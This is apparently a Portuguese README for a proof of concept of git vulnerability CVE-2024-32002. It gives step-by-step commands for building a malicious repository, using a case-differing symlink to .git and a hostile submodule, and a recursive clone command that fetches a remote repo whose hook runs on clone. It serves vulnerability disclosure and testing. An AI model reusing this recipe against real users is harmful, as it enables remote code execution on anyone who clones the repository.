CVE-2024-32002 PRC AW
Um POC para CVE-2024-32002 demonstrando escrita arbitrária no diretório .git.
Veja cve-2024-32002-submodule-aw para o repositório de submódulo relacionado.
O que este repositório contém
- Um link simbólico com um nome arbitrário que aponta para o diretório
.git.
- Um arquivo
.gitmodules que define o submódulo malicioso.
Como recriar este repositório
Este repositório foi criado no Linux (WSL2, para ser específico). Isso é importante, o repositório malicioso só pode ser criado em um sistema de arquivos sensível a maiúsculas/minúsculas.
- Crie um link simbólico, usando apenas caracteres minúsculos
ln -s .git submodule
Notas:
- O link simbólico deve apontar para a pasta .git, já que é onde queremos escrever arquivos
- O nome do link simbólico (submodule) é arbitrário, mas deve começar com um caractere minúsculo
- Isso é importante, porque caracteres minúsculos são ordenados antes de caracteres maiúsculos. Quando a máquina que está clonando fica confusa sobre onde escrever os arquivos do submódulo, queremos que ela escolha o link simbólico e não um diretório normal.
- Adicione o submódulo malicioso, observando a diferença de maiúsculas/minúsculas no nome do diretório do submódulo
git submodule add --name aw https://github.com/JakobTheDev/cve-2024-32002-submodule-aw.git Submodule/notexists
Notas:
- O nome do submódulo importa, ele entrará em jogo ao colocar nosso hook no submódulo.
- O primeiro segmento do caminho do submódulo ("Submodule") deve corresponder ao nome do link simbólico acima, diferindo apenas em maiúsculas/minúsculas.
- Deve haver pelo menos um outro segmento no caminho, já que o git só clona submódulos em um diretório vazio. No entanto, ele criará diretórios para nós, então escolhemos "notexists" para demonstrar isso.
Como executar o POC
- Verifique se você tem uma versão vulnerável do git. Veja o aviso do GitHub para versões afetadas.
git --version
- Pense se você conscientemente deseja executar um comando que poderia alcançar RCE... Este repositório é benigno, mas tem certeza?
- Execute o seguinte comando:
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-aw.git
- Dê uma olhada no diretório .git. Veja algo fora do lugar. Dica: Quais arquivos estão no submódulo.